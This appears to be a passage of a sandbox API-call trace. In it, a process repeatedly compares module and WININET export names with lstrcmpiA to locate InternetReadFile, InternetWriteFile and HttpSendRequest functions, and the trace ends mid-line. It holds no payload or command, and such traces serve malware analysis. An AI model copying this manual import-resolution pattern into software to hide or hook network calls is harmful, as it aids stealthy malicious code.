[0082.499] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.499] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.499] lstrcmpiA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetReadFile") returned -1 [0082.499] lstrcmpiA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetReadFile") returned -1 [0082.499] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetReadFile") returned 1 [0082.499] lstrcmpiA (lpString1="PrivacyGetZonePreferenceW", lpString2="InternetReadFile") returned 1 [0082.499] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFile") returned -1 [0082.499] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetReadFile") returned 1 [0082.500] lstrcmpiA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="UpdateUrlCacheContentPath", lpString2="InternetReadFile") returned 1 [0082.500] lstrcmpiA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="SetUrlCacheConfigInfoA", lpString2="InternetReadFile") returned 1 [0082.500] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetReadFile") returned -1 [0082.500] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetReadFile") returned 1 [0082.500] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="MSHTML.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="NETAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="MSRATING.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="RASDLG.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="RASAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.500] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.500] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.500] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.500] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.501] lstrcmpiA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetWriteFile") returned 1 [0082.501] lstrcmpiA (lpString1="PrivacyGetZonePreferenceW", lpString2="InternetWriteFile") returned 1 [0082.501] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="UpdateUrlCacheContentPath", lpString2="InternetWriteFile") returned 1 [0082.501] lstrcmpiA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="SetUrlCacheConfigInfoA", lpString2="InternetWriteFile") returned 1 [0082.501] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetWriteFile") returned -1 [0082.501] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="MSHTML.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="NETAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="MSRATING.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="RASDLG.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="RASAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.501] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.501] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.501] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.501] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.502] lstrcmpiA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetReadFileExA") returned 1 [0082.502] lstrcmpiA (lpString1="PrivacyGetZonePreferenceW", lpString2="InternetReadFileExA") returned 1 [0082.502] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetReadFileExA") returned 1 [0082.502] lstrcmpiA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="UpdateUrlCacheContentPath", lpString2="InternetReadFileExA") returned 1 [0082.502] lstrcmpiA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="SetUrlCacheConfigInfoA", lpString2="InternetReadFileExA") returned 1 [0082.502] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetReadFileExA") returned -1 [0082.502] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetReadFileExA") returned 1 [0082.502] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="MSHTML.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.502] lstrcmpiA (lpString1="NETAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="MSRATING.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="RASDLG.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="RASAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.503] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.503] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.503] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.503] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.503] lstrcmpiA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetReadFileExW") returned 1 [0082.503] lstrcmpiA (lpString1="PrivacyGetZonePreferenceW", lpString2="InternetReadFileExW") returned 1 [0082.503] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetReadFileExW") returned 1 [0082.503] lstrcmpiA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="UpdateUrlCacheContentPath", lpString2="InternetReadFileExW") returned 1 [0082.503] lstrcmpiA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="SetUrlCacheConfigInfoA", lpString2="InternetReadFileExW") returned 1 [0082.503] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetReadFileExW") returned -1 [0082.503] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetReadFileExW") returned -1 [0082.504] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetReadFileExW") returned 1 [0082.504] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="MSHTML.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="NETAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="MSRATING.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="RASDLG.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="RASAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.504] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.504] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.504] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.504] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.504] lstrcmpiA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpSendRequestA") returned -1 [0082.504] lstrcmpiA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="HttpSendRequestA") returned 1 [0082.504] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="HttpSendRequestA") returned 1 [0082.504] lstrcmpiA (lpString1="PrivacyGetZonePreferenceW", lpString2="HttpSendRequestA") returned 1 [0082.504] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="HttpSendRequestA") returned 1 [0082.504] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="HttpSendRequestA") returned 1 [0082.504] lstrcmpiA (lpString1="IncrementUrlCacheHeaderData", lpString2="HttpSendRequestA") returned 1 [0082.504] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="HttpSendRequestA") returned 1 [0082.504] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="HttpSendRequestA") returned 1 [0082.504] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpSendRequestA") returned -1 [0082.504] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.505] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpSendRequestA") returned -1 [0082.505] lstrcmpiA (lpString1="UpdateUrlCacheContentPath", lpString2="HttpSendRequestA") returned 1 [0082.505] lstrcmpiA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpSendRequestA") returned -1 [0082.505] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpSendRequestA") returned -1 [0082.505] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpSendRequestA") returned -1 [0082.505] lstrcmpiA (lpString1="SetUrlCacheConfigInfoA", lpString2="HttpSendRequestA") returned 1 [0082.505] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpSendRequestA") returned -1 [0082.505] lstrcmpiA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpSendRequestA") returned -1 [0082.505] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="HttpSendRequestA") returned -1 [0082.505] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="HttpSendRequestA") returned 1 [0082.505] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="MSHTML.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="NETAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="MSRATING.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="RASDLG.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="RASAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.505] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.505] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.505] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.505] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.505] lstrcmpiA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpSendRequestW") returned -1 [0082.505] lstrcmpiA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="HttpSendRequestW") returned 1 [0082.506] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="HttpSendRequestW") returned 1 [0082.506] lstrcmpiA (lpString1="PrivacyGetZonePreferenceW", lpString2="HttpSendRequestW") returned 1 [0082.506] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="HttpSendRequestW") returned 1 [0082.506] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="HttpSendRequestW") returned 1 [0082.506] lstrcmpiA (lpString1="IncrementUrlCacheHeaderData", lpString2="HttpSendRequestW") returned 1 [0082.506] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="HttpSendRequestW") returned 1 [0082.506] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="HttpSendRequestW") returned 1 [0082.506] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpSendRequestW") returned -1 [0082.506] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0082.506] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpSendRequestW") returned -1 [0082.506] lstrcmpiA (lpString1="UpdateUrlCacheContentPath", lpString2="HttpSendRequestW") returned 1 [0082.506] lstrcmpiA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpSendRequestW") returned -1 [0082.506] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpSendRequestW") returned -1 [0082.506] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpSendRequestW") returned -1 [0082.506] lstrcmpiA (lpString1="SetUrlCacheConfigInfoA", lpString2="HttpSendRequestW") returned 1 [0082.506] lstrcmpiA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpSendRequestW") returned -1 [0082.506] lstrcmpiA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpSendRequestW") returned -1 [0082.506] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="HttpSendRequestW") returned -1 [0082.506] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="HttpSendRequestW") returned 1 [0082.506] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="MSHTML.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="NETAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="MSRATING.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="RASDLG.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="RASAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.506] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ed08 | out: hHeap=0x2350000) returned 1 [0082.506] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ed08 [0082.506] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.506] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.507] lstrcmpiA (lpString1="SHLWAPI.dll", 